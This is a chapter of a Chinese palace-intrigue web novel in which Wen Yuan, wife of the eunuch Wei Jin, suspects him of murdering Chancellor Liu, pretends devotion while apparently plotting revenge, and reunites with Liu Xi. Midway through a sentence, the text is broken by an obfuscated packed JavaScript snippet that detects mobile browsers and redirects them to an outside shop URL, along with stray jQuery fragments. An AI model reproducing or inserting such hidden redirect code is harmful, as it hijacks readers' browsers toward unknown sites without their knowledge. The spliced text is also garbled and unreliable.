一盒荔枝，闻鸳在太师府等了两个时辰。
踏入旧时闺阁，房中陈设布置皆如从前，她坐在窗下，心境已大不相同。思绪纷乱回到生辰夜，那几处燃放烟花的地点分布在内城周围，参差于城中各官员宅邸中，向城南的丽正门延伸。
恰好，把相府围成个圈。
而听城中流言所指，先前群臣长跪奉天门，请旨收回西厂兵权，带头之人正是柳相。卫进和西厂早与之结了仇，凭阉党在朝中横行霸道的一贯做派，必定处置而后快。
然则两朝老臣，总不能如处置张侍郎那般明目张胆
便等到她的生辰，名正言顺以烟火遮天蔽月，暗下杀手。
若真如此，她又何尝不是帮凶。
天色渐晚，外头热闹起来，是他们回来了。闻太师直奔闻鸳房中，吩咐下人掌了灯，便将门反锁，不许人靠近。
“爹，”闻鸳在烛火阴翳里开口，“那夜的烟花，是卫进安排。”
灯豆幽微，一间屋子仅照亮一隅。闻太师人在灯畔，却披了半身墨染，神色晦暗不明。
“我儿……”
他缓缓道。
“那夜是你生辰，卫进安置花炮，没什么的。”
“可那是四十几条人命，西厂嫌疑重大！”
“为父老了，”闻太师嗓音沙哑，双眼疲然望向灯烛之后的女儿，“保不下旁人，更保不下江山社稷，只求保下我儿此生，平安就好。”
闻鸳方知，苦到极点，原是想笑的。
“可是爹，”她声有颤抖，“那烟花是贺女儿生辰，女儿是那阉狗的妻，如何置身事外？若张侍郎和柳相九泉之下有知，会恨女儿。”
阅书万卷，闻太师却讲不出个中道理。
半晌，闻鸳终听他道：
“清白是身外之物，先顾活人。”
入夜后，闻鸳从太师府启程。
马车之上残灯映雪，满目惨白，仿佛为谁祭奠。她不敢推窗看，亦不敢叫人瞧出心绪凄迷，一切又如刚成婚时，她是颗不知悲喜的棋子。
满心哀凉，兼有悔恨。
她不知自己从何时开始发昏，居然对卫进生出恻隐，有某一刻真的信了他的好。
与她成婚，张侍郎惨死卫府；追谥顾凭阑，西厂得了他旧部的兵权；为她贺生辰，柳相一家死于非命……
点点滴滴一往情深，桩桩件件罄竹难书。
不过打着痴心的幌子，行阴险歹毒之事。
而后轮到谁呢？
物伤其类，唇亡齿寒。
她不敢用父母手足的命来赌，卫进待她真真假假的情意，能让太师府逃过一劫。
也不敢料想，朝臣万千，谁又沦为西厂的刀下冤魂。
阉党一日不除，朝堂一日不得安宁，伴在卫进身侧求个安稳，无异与虎谋皮，难得终日好。
既然如此，与其赌虎狼之心生出善念，不若押注自己。趁当下卫进尚未恼了她、厌弃她，向他讨个公道。
闻太师说的不错，活人要紧。
所以，更多人活，更要紧。
回府时，卫进已在房中等她。
回太师府的事瞒不住，她有意在进门时绊了一跤，失魂落魄扑进人怀里。今日他身上极冷，闻鸳碰到时，不禁缩了缩肩膀。
那人觉察到她的异样，主动放了手，扶她在软榻落座。
“柳相之事，你听说了？”
卫进问得云淡风轻，口吻寻常如谈论家事。
使闻鸳记起，当初张老夫人抱着先帝赐的匾投湖，他也是这般反应。
还着人给张府送了银子，贺母子团圆。
怨不得他身子冷。
行尸走肉，磨牙吮血，本就没有温度。
“郎君。”
她小心翼翼牵他，泪眼婆娑，望进他的眸。
“妾不敢信，也不愿信，妾的生辰，从此是柳相的忌日。”
不知是否看错了，一瞬间，闻鸳竟发觉，卫进看她的眼神中有愧。
绝非良心不安，更像是，觉得对她不起。
他这样的人，也懂得悔过吗。
荒谬。
“世事无常，”卫进语声轻得几乎不可闻，“不必太伤怀。”
何其风凉。
死的不是他的挚爱亲朋，自然不必伤怀。
闻鸳甚至生出个歹毒念头。
正因他孑然一身，于这世间了无牵挂，才能不惧报应，丧尽天良。
“不想了，”那人又道，抬手温柔抚她的发顶，“会好起来的。”
闻鸳一阵反胃，强忍着恶心未曾躲开，做得一副楚楚可怜模样，依在他肩头：
“水火无情，妾只是忧心，怕有一日郎君也会离妾而去。”
那人宽慰般笑笑，抱她更紧：
“我答应你，万事平安为先。”
“不够，”闻鸳颔首枕他胸口，嗔道，“妾要日日与郎君相见。”
卫进不应声，却仍在笑，她便知道，他喜欢她闹。于是变本加厉，双手勾他脖颈，眉眼欢愉，目光已冷透了：
“郎君不回来陪妾，妾就去西厂找郎君。”
红烛明灭，墙上人影交织，缱绻摇曳。恍惚之间，闻鸳看见他的影似乎垂了下头，不消片刻，又重新注视她的面庞。
“好。”
只一字，听不出他的喜怒。
大约其中颇有无奈，抑或，不知所谓的失意苦涩。
但恨意会蒙住眼，捂住耳朵，闻鸳丝毫未觉。她将小指与人勾缠，不改笑颜：
“那就说好了，妾每日做好点心，等郎君回来。”
在那之后，卫进确如他所说，不论公务如何繁多，总能赶在太阳落山之前回府。闻鸳提前备下几样新鲜的点心，听他讲朝中的事。
卫进话不多，谈公事时更是惜字如金，多有意思的事经他之口说出来，也听得人昏昏欲睡。
闻鸳却很有兴致，边听，边作画。画遍窗下红梅、池中红鲤，又描摹起院内的朱漆回廊。府上消耗最快的除了盐糖面粉，便是作画的颜料。
她酷爱腊梅锦鲤，是以朱砂用量最大。
这日黄昏画好一幅，捧宝贝似的拿给卫进：
“郎君瞧瞧，妾画得好不好。”
画的是廊下夕阳，大片晚霞映红碧空，接地妃色漫作火红。其中两根朱漆廊柱尤为夺目，殷红太重，几乎成了绛紫。作画者仍觉不够般反复勾描，宣纸都起了毛茬。
篇幅留白不多，乍看过去，
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17450276|201167||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
像极了一片血海，红得扎眼。
卫进拿着那画端详不久，点了点头：
“好，我命人裱起来，挂在书房。”
“妾觉得不好，”闻鸳窝进他怀中，朝不远处的连廊扬了下头，“青砖不平，池中鱼太少，还有那柱子，都掉漆了。妾想着，左右再过几个月是除夕，尽快找人来修缮一番，也好给来年讨个好彩头。”
天气一天比一天冷，闻鸳握笔作画，这会儿双手冰凉。卫进将她指尖攥在掌心暖着，半开玩笑回她：
“又是颜料又是新漆，满京师的朱砂要被你买空了。”
“小气，”闻鸳嗤他，“买些颜料朱漆，郎君就要怪妾了吗。”
“不怪，”卫进依然笑着哄，“只是朱砂性寒，少碰为好。”
几块颜料大漆，哪及人心寒。
闻鸳嘴上说知道了，视线不经意飘向桌上那碟吃了一半的蜜糕。
来日方长，只是，她不知自己能不能做得到。
十月中，江南大雪连天，京师护城河结冰数十里。襄王妃归京的消息传出，从前与她有过交集的朝臣之女皆前往迎接，闻鸳也不例外。
柳夕年长她三岁，出嫁前是京中闻名的才女。闻太师与柳相是莫逆之交，闻鸳与闻缨年幼时，亦常随柳夕读书。
记忆里，那是谪仙一般的女子，一身傲骨，如竹如月，叫凡俗红尘不敢沾染。
柳家宅院毁于一旦，柳夕下榻在京中的驿馆。
车马未至，已有各家夫人携女儿侯在门前。
闻鸳站得远，旁人默契地不与她过话，是疏远，亦是顾忌。
她心知肚明，下嫁卫进，就算半个阉党的鹰犬，任谁碰上都觉晦气。也希望如此，不来往，或许能为各家暂求安稳。
车轮声渐明朗，众人皆围了上去。
柳夕一袭缟素步下车来，未顾上应众人关心的话，左顾右盼，似在寻找什么。及至在人群外面瞥见闻鸳，才仿佛松了口气，颔首示意她过来。
众人不明所以，纷纷侧身让路，容闻鸳埋着头上前。
柳夕为打量她模样神色，不得不也低下头，见她拘谨，便于众目睽睽之下拉了她的手。
“阿鸳，”她如小时候一样唤她，“我很想你，陪我说说话。”
驿馆前骤然鸦雀无声。
卫进在闻鸳生辰放烟花，早已不是秘密，西厂暗害柳相的传言甚嚣尘上，柳夕不会不知。
故而越发难以置信，她愿对闻鸳温言细语。
柳夕却不理旁人态度，执意带闻鸳上了楼。
房门合上，闻鸳仍回不过神，是柳夕邀她落座，用那双哭肿了的眼睛探看她的轮廓。
“阿鸳，你受苦了。”
“柳姐姐……”
闻鸳再忍不住，跪在柳夕身前泣不成声。
“是我不好，我不知那阉狗要害柳相，是我不该……”
柳夕许多话哽在喉间，一时说不出口，唯有连连摇头。她轻轻抱住闻鸳，仿若对方还是那个背不下书会急哭的小娃娃。
“与我的阿鸳有何干系，又不是阿鸳的错，”她拍着闻鸳的背，哽咽难言，泛红的眸枯涸得再不见泪水落下来，“我只盼阿鸳不要冲动，任何时候，先保全自己。”